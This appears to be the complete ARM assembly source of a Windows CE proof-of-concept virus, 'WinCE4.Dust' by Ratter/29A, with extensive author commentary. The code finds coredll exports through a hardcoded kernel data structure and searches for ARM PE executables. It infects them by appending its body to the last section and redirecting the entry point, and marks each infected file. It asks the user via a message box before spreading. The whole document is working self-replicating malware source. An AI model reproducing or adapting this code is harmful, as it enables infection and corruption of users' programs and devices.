** virus_source ** CODE32 EXPORT WinMainCRTStartup AREA .text, CODE, ARM virus_start ; r11 - base pointer virus_code_start PROC stmdb sp!, {r0 - r12, lr, pc} mov r11, sp sub sp, sp, #56 ; make space on the stack ; our stack space gets filled the following way ; #-56 - udiv ; #-52 - malloc ; #-48 - free ; [r11, #-44] - CreateFileForMappingW ; #-40 - CloseHandle ; #-36 - CreateFileMappingW ; #-32 - MapViewOfFile ; #-28 - UnmapViewOfFile ; #-24 - FindFirstFileW ; #-20 - FindNextFileW ; #-16 - FindClose ; #-12 - MessageBoxW ; #- 8 - filehandle ; #- 4 - mapping handle bl get_export_section ; we'll import via ordinals, not function names, because it's ; safe - even linker does that adr r2, import_ordinals mov r3, sp bl lookup_imports ; bl ask_user beq jmp_to_host ; are we allowed to spread? ; mov r0, #0x23, 28 mov lr, pc ldr pc, [r11, #-52] ; allocate WFD mov r4, r0 cmp r0, #0 beq jmp_to_host ; in the following code I use functions FindFirstFile/FindNextFile ; for finding *.exe files in the current directory. But in this ; case I made a big mistake. I didn't realize that WinCE is not ; aware of the current directory and thus we need to use absolute ; pathnames. That's why this code won't find files in the current ; directory, but rather always in root directory. I found this out when I ; was performing final tests, but because the aim was to create a ; proof-of-concept code and because the infection itself was already ; limited by the user's permission, I decided not to correct this ; bug adr r0, mask mov r1, r4 mov lr, pc ldr pc, [r11, #-24] ; find first file cmn r0, #1 beq free_wfd mov r5, r0 find_files_iterate ldr r0, [r4, #28] ; filesize high ldr r1, [r4, #32] ; filesize low cmp r0, #0 ; file too big? bne find_next_file cmp r1, #0x1000 ; file smaller than 4096 bytes? addgt r0, r4, #40 ; gimme file name blgt infect_file find_next_file mov r0, r5 mov r1, r4 mov lr, pc ldr pc, [r11, #-20] ; find next file cmp r0, #0 ; is there any left? bne find_files_iterate mov r0, r5 mov lr, pc ldr pc, [r11, #-16] free_wfd mov r0, r4 mov lr, pc ldr pc, [r11, #-48] ; free WFD ; jmp_to_host adr r0, host_ep ldr r1, [r0] ; get host_entry ldr r2, [r11, #56] ; get pc add r1, r1, r2 ; add displacement str r1, [r11, #56] ; store it back mov sp, r11 ldmia sp!, {r0 - r12, lr, pc} ENDP ; we're looking for *.exe files mask DCB "*", 0x0, ".", 0x0, "e", 0x0, "x", 0x0, "e", 0x0, 0x0, 0x0 ; host entry point displacement ; in first generation let compiler count it host_ep DCD host_entry - virus_code_start - 8 ; WinCE is a UNICODE-only platform and thus we'll use the W ending ; for api names (there are no ANSI versions of these) import_ordinals DCW 2008 ; udiv DCW 1041 ; malloc DCW 1018 ; free DCW 1167 ; CreateFileForMappingW DCW 553 ; CloseHandle DCW 548 ; CreateFileMappingW DCW 549 ; MapViewOfFile DCW 550 ; UnmapViewOfFile DCW 167 ; FindFirstFileW DCW 181 ; FindNextFile DCW 180 ; FindClose DCW 858 ; MessageBoxW DCD 0x0 ; basic wide string compare wstrcmp PROC wstrcmp_iterate ldrh r2, [r0], #2 ldrh r3, [r1], #2 cmp r2, #0 cmpeq r3, #0 moveq pc, lr cmp r2, r3 beq wstrcmp_iterate mov pc, lr ENDP ; on theWin32 platform, almost all important functions were located in the ; kernel32.dll library (and if they weren't, the LoadLibrary/GetProcAddresss pair ; was). The first infectors had a hardcoded imagebase of this dll and ; later they imported needed functions by hand from it. This ; turned out to be incompatible because different Windows versions might ; have different imagebases for kernel32. That's why more or less ; sophisticated methods were found that allowed coding in a ; compatible way. One of these methods is scanning memory for known values ; located in PE file header ("MZ") if the address inside the module is ; given. Because the function inside kernel32 calls the EntryPoint of ; every Win32 process, we've got this address. Then comparing the word ; on and aligned address (and decrementing it) against known values is ; enough to locate the imagebase. If this routine is even covered ; with SEH (Structured Exception Handling) everything is safe. ; I wanted to use this method on WinCE too, but I hit the wall. ; Probably to save memory space, there are no headers ; before the first section of the loaded module. There is thus no ; "MZ" value and scanning cannot be used even we have the address ; inside coredll.dll (lr registr on our entrypoint). Moreover, we ; cannot use SEH either, because SEH handlers get installed with ; the help of a special directory (the exception directory) in the PE file and ; some data before the function starts - this information would have ; to be added while infecting the victim (the exception directory ; would have to be altered) which is of course not impossible -- just ; a little bit impractical to implement in our basic virus. ; That's why I was forced to use a different approach. I looked ; through the Windows CE 3.0 source code (shared source, ; downloadable from Microsoft) and tried to find out how the loader ; performs its task. The Loader needs the pointer to the module's export ; section and its imagebase to be able to import from it. The result was a ; KDataStruct at a hardcoded address accessible from user mode (why Microsoft ; chose to open this loophole, I don't know) ; and mainly it's item aInfo[KINX_MODULES] which is a pointer to a ; list of Module structures. There we can find all needed values ; (name of the module, imagebase and export section RVA). In the ; code that follows I go through this one-way list and look for ; structure describing the coredll.dll module. From this structure I ; get the imagebase and export section RVA (Relative Virtual Address). ; what sounds relatively easy was in the end more work than I ; expected. The problem was to get the offsets in the Module ; structure. The source code and corresponding headers I had were for ; Windows CE 3.0, but I was writing for Windows CE 4.2 (Windows Mobile 2003), ; where the structure is different. I worked it out using the following ; sequence: ; I was able to get the imagebase offset using the trial-and-error ; method - I used the debugger and tried values inside the ; structure that looked like valid pointers. If there was something ; interesting, I did some memory sniffing to realize where I was. ; The export section pointer was more difficult. There is no real ; pointer, just the RVA instead. Adding the imagebase to RVA gives us the ; pointer. That's why I found coredll.dll in memory - namely the ; list of function names in export section that the library exports. ; This list is just a series of ASCIIZ names (you can see this list ; when opening the dll in your favourite hex editor). At the ; beginning of this list there must be a dll name (in this case ; coredll.dll) to which a RVA in the export section header ; points. Substracting the imagebase from the address where the dll ; name starts gave me an RVA of the dll name. I did a simple byte ; search for the byte sequence that together made this RVA value. This ; showed me where the (Export Directory Table).Name Rva is. ; Because this is a known offset within a known structure (which is ; in the beginning of export section), I was able to get ; the export section pointer this way. I again substracted the imagebase to ; get the export section RVA. I looked up this value in the coredll's ; Module structure, which finally gave me the export section RVA ; offset. ; this works on Pocket PC 2003; it works on ; my wince 4.20.0 (build 13252). ; On different versions the structure offsets might be different :-/ ; output: ; r0 - coredll base addr ; r1 - export section addr get_export_section PROC stmdb sp!, {r4 - r9, lr} ldr r4, =0xffffc800 ; KDataStruct ldr r5, =0x324 ; aInfo[KINX_MODULES] add r5, r4, r5 ldr r5, [r5] ; r5 now points to first module mov r6, r5 mov r7, #0 iterate ldr r0, [r6, #8] ; get dll name adr r1, coredll bl wstrcmp ; compare with coredll.dll ldreq r7, [r6, #0x7c] ; get dll base ldreq r8, [r6, #0x8c] ; get export section rva add r9, r7, r8 beq got_coredllbase ; is it what we're looking for? ldr r6, [r6, #4] cmp r6, #0 cmpne r6, r5 bne iterate ; nope, go on got_coredllbase mov r0, r7 add r1, r8, r7 ; yep, we've got imagebase ; and export section pointer ldmia sp!, {r4 - r9, pc} ENDP coredll DCB "c", 0x0, "o", 0x0, "r", 0x0, "e", 0x0, "d", 0x0, "l", 0x0, "l", 0x0 DCB ".", 0x0, "d", 0x0, "l", 0x0, "l", 0x0, 0x0, 0x0 ; r0 - coredll base addr ; r1 - export section addr ; r2 - import ordinals array ; r3 - where to store function adrs lookup_imports PROC stmdb sp!, {r4 - r6, lr} ldr r4, [r1, #0x10] ; gimme ordinal base ldr r5, [r1, #0x1c] ; gimme Export Address Table add r5, r5, r0 lookup_imports_iterate ldrh r6, [r2], #2 ; gimme ordinal cmp r6, #0 ; last value? subne r6, r6, r4 ; substract ordinal base ldrne r6, [r5, r6, LSL #2] ; gimme export RVA addne r6, r6, r0 ; add imagebase strne r6, [r3], #4 ; store function address bne lookup_imports_iterate ldmia sp!, {r4 - r6, pc} ENDP ; r0 - filename ; r1 - filesize infect_file PROC stmdb sp!, {r0, r1, r4, r5, lr} mov r4, r1 mov r8, r0 bl open_file ; first open the file for mapping cmn r0, #1 beq infect_file_end str r0, [r11, #-8] ; store the handle mov r0, r4 ; now create the mapping with ; maximum size == filesize bl create_mapping cmp r0, #0 beq infect_file_end_close_file str r0, [r11, #-4] ; store the handle mov r0, r4 bl map_file ; map the whole file cmp r0, #0 beq infect_file_end_close_mapping mov r5, r0 bl check_header ; is it file that we can infect? bne infect_file_end_unmap_view ldr r0, [r2, #0x4c] ; check the reserved field in ; optional header against ldr r1, =0x72617461 ; rata cmp r0, r1 ; already infected? beq infect_file_end_unmap_view ldr r1, [r2, #0x3c] ; gimme filealignment adr r0, virus_start adr r2, virus_end ; compute virus size sub r0, r2, r0 mov r7, r0 ; r7 now holds virus_size add r0, r0, r4 bl _align_ ; add it to filesize and mov r6, r0 ; align it to filealignment ; r6 holds the new filesize mov r0, r5 mov lr, pc ldr pc, [r11, #-28] ; UnmapViewOfFile ldr r0, [r11, #-4] mov lr, pc ldr pc, [r11, #-40] ; close mapping handle ; mov r0, r8 bl open_file ; reopen the file because via ; closing the mapping handle file ; handle was closed too cmn r0, #1 beq infect_file_end str r0, [r11, #-8] mov r0, r6 ; create mapping again with the bl create_mapping ; new filesize (with virus appended) cmp r0, #0 beq infect_file_end_close_file str r0, [r11, #-4] mov r0, r6 bl map_file ; map it cmp r0, #0 beq infect_file_end_close_mapping mov r5, r0 ; ; r5 - mapping base ; r7 - virus_size ldr r4, [r5, #0x3c] ; get PE signature offset add r4, r4, r5 ; add the base ldrh r1, [r4, #6] ; get NumberOfSections sub r1, r1, #1 ; we want the last section header ; so dec mov r2, #0x28 ; multiply with section header size mul r0, r1, r2 add r0, r0, r4 ; add optional header start to displacement add r0, r0, #0x78 ; add optional header size ldr r1, [r4, #0x74] ; get number of data directories mov r1, r1, LSL #3 ; multiply with sizeof(data_directory) add r0, r0, r1 ; add it because section headers ; start after the optional header ; (including data directories) ldr r6, [r4, #0x28] ; gimme entrypoint rva ldr r1, [r0, #0x10] ; get last section's size of rawdata ldr r2, [r0, #0x14] ; and pointer to rawdata mov r3, r1 add r1, r1, r2 ; compute pointer to the first ; byte available for us in the ; last section ; (pointer to rawdata + sizeof rawdata) mov r9, r1 ; r9 now holds the pointer ldr r8, [r0, #0xc] ; get RVA of section start add r3, r3, r8 ; add sizeof rawdata str r3, [r4, #0x28] ; set entrypoint sub r6, r6, r3 ; now compute the displacement so that ; we can later jump back to the host sub r6, r6, #8 ; sub 8 because pc points to ; fetched instruction (viz LTORG) mov r10, r0 ldr r0, [r10, #0x10] ; get size of raw data again add r0, r0, r7 ; add virus size ldr r1, [r4, #0x3c] bl _align_ ; and align str r0, [r10, #0x10] ; store new size of rawdata str r0, [r10, #0x8] ; store new virtual size ldr r1, [r10, #0xc] ; get virtual address of last section add r0, r0, r1 ; add size so get whole image size str r0, [r4, #0x50] ; and store it ldr r0, =0x60000020 ; IMAGE_SCN_CNT_CODE | MAGE_SCN_MEM_EXECUTE | ; IMAGE_SCN_MEM_READ ldr r1, [r10, #0x24] ; get old section flags orr r0, r1, r0 ; or it with our needed ones str r0, [r10, #0x24] ; store new flags ldr r0, =0x72617461 str r0, [r4, #0x4c] ; store our infection mark add r1, r9, r5 ; now we'll copy virus body mov r9, r1 ; to space prepared in last section adr r0, virus_start mov r2, r7 bl simple_memcpy adr r0, host_ep ; compute number of bytes between ; virus start and host ep adr r1, virus_start sub r0, r0, r1 ; because we'll store new host_ep str r6, [r0, r9] ; in the copied virus body infect_file_end_unmap_view mov r0, r5 mov lr, pc ; unmap the view ldr pc, [r11, #-28] infect_file_end_close_mapping ldr r0, [r11, #-4] mov lr, pc ; close the mapping ldr pc, [r11, #-40] infect_file_end_close_file ldr r0, [r11, #-8] mov lr, pc ; close file handle ldr pc, [r11, #-40] infect_file_end ldmia sp!, {r0, r1, r4, r5, pc} ; and return ENDP ; a little reminiscence of my beloved book - Greg Egan's Permutation City DCB "This code arose from the dust of Permutation City" ALIGN 4 ; this function checks whether the file we want to infect is ; suitable check_header PROC ldrh r0, [r5] ldr r1, =0x5a4d ; MZ? cmp r0, r1 bne infect_file_end_close_mapping ldr r2, [r5, #0x3c] add r2, r2, r5 ldrh r0, [r2] ldr r1, =0x4550 ; Signature == PE? cmp r0, r1 bne check_header_end ldrh r0, [r2, #4] ldr r1, =0x1c0 ; Machine == ARM? cmp r0, r1 bne check_header_end ldrh r0, [r2, #0x5C] ; IMAGE_SUBSYSTEM_WINDOWS_CE_GUI ? cmp r0, #9 bne check_header_end ldrh r0, [r2, #0x40] cmp r0, #4 ; windows ce 4? check_header_end mov pc, lr ENDP ; r0 - file open_file PROC str lr, [sp, #-4]! sub sp, sp, #0xc mov r1, #3 str r1, [sp] ; OPEN_EXISTING mov r3, #0 mov r2, #0 str r3, [sp, #8] str r3, [sp, #4] mov r1, #3, 2 ; GENERIC_READ | GENERIC_WRITE mov lr, pc ldr pc, [r11, #-44] ; call CreateFileForMappingW to ; get the handle suitable for ; CreateFileMapping API ; (on Win32 calling CreateFile is enough) add sp, sp, #0xc ldr pc, [sp], #4 ENDP ; r0 - max size low create_mapping PROC str lr, [sp, #-4]! mov r1, #0 sub sp, sp, #8 str r0, [sp] str r1, [sp, #4] mov r2, #4 ; PAGE_READWRITE mov r3, #0 ldr r0, [r11, #-8] mov lr, pc ldr pc, [r11, #-36] add sp, sp, #8 ldr pc, [sp], #4 ENDP ; r0 - bytes to map map_file PROC str lr, [sp, #-4]! sub sp, sp, #4 str r0, [sp] ldr r0, [r11, #-4] mov r1, #6 ; FILE_MAP_READ or FILE_MAP_WRITE mov r2, #0 mov r3, #0 mov lr, pc ldr pc, [r11, #-32] add sp, sp, #4 ldr pc, [sp], #4 ENDP ; not optimized (thus simple) mem copy ; r0 - src ; r1 - dst ; r2 - how much simple_memcpy PROC ldr r3, [r0], #4 str r3, [r1], #4 subs r2, r2, #4 bne simple_memcpy mov pc, lr ENDP ; (r1 - (r1 % r0)) + r0 ; r0 - number to align ; r1 - align to what _align_ PROC stmdb sp!, {r4, r5, lr} mov r4, r0 mov r5, r1 mov r0, r1 mov r1, r4 ; ARM ISA doesn't have the div instruction so we'll have to call ; the coredll's div implementation mov lr, pc ldr pc, [r11, #-56] ; udiv sub r1, r5, r1 add r0, r4, r1 ldmia sp!, {r4, r5, pc} ENDP ; this function will ask user (via a MessageBox) whether we're ; allowed to spread or not ask_user PROC str lr, [sp, #-4]! mov r0, #0 adr r1, text adr r2, caption mov r3, #4 mov lr, pc ldr pc, [r11, #-12] cmp r0, #7 ldr pc, [sp], #4 ENDP ; notice that the strings are encoded in UNICODE ; WinCE4.Dust by Ratter/29A caption DCB "W", 0x0, "i", 0x0, "n", 0x0, "C", 0x0, "E", 0x0, "4", 0x0 DCB ".", 0x0, "D", 0x0, "u", 0x0, "s", 0x0, "t", 0x0, " ", 0x0 DCB "b", 0x0, "y", 0x0, " ", 0x0, "R", 0x0, "a", 0x0, "t", 0x0 DCB "t", 0x0, "e", 0x0, "r", 0x0, "/", 0x0, "2", 0x0, "9", 0x0 DCB "A", 0x0, 0x0, 0x0 ALIGN 4 ; Dear User, am I allowed to spread? text DCB "D", 0x0, "e", 0x0, "a", 0x0, "r", 0x0, " ", 0x0, "U", 0x0 DCB "s", 0x0, "e", 0x0, "r", 0x0, ",", 0x0, " ", 0x0, "a", 0x0 DCB "m", 0x0, " ", 0x0, "I", 0x0, " ", 0x0, "a", 0x0, "l", 0x0 DCB "l", 0x0, "o", 0x0, "w", 0x0, "e", 0x0, "d", 0x0, " ", 0x0 DCB "t", 0x0, "o", 0x0, " ", 0x0, "s", 0x0, "p", 0x0, "r", 0x0 DCB "e", 0x0, "a", 0x0, "d", 0x0, "?", 0x0, 0x0, 0x0 ALIGN 4 ; Just a little greeting to AV firms :-) DCB "This is proof of concept code. Also, i wanted to make avers happy." DCB "The situation when Pocket PC antiviruses detect only EICAR file had" DCB " to end ..." ALIGN 4 ; LTORG is a very important pseudo instruction, which places the ; literal pool "at" the place of its presence. Because the ARM ; instruction length is hardcoded to 32 bits, it is not possible in ; one instruction to load the whole 32bit range into a register (there ; have to be bits to specify the opcode). That's why the literal ; pool was introduced, which in fact is just an array of 32bit values ; that are not possible to load. This data structure is later ; accessed with the aid of the PC (program counter) register that points ; to the currently executed instruction + 8 (+ 8 because ARM processors ; implement a 3 phase pipeline: execute, decode, fetch and the PC ; points not at the instruction being executed but at the instruction being ; fetched). An offset is added to PC so that the final pointer ; points to the right value in the literal pool. ; the pseudo instruction ldr rX, = while compiling gets ; transformed to a mov instruction (if the value is in the range of ; valid values) or it allocates its place in the literal pool and becomes a ; ldr, rX, [pc, #] ; similarly adr and adrl instructions serve to loading addresses ; to register. ; this approach's advantage is that with minimal effort we can get ; position independent code from the compiler which allows our ; code to run wherever in the address space the loader will load us. LTORG virus_end ; the code after virus_end doesn't get copied to victims WinMainCRTStartup PROC b virus_code_start ENDP ; first generation entry point host_entry mvn r0, #0 mov pc, lr END ** virus_source_end **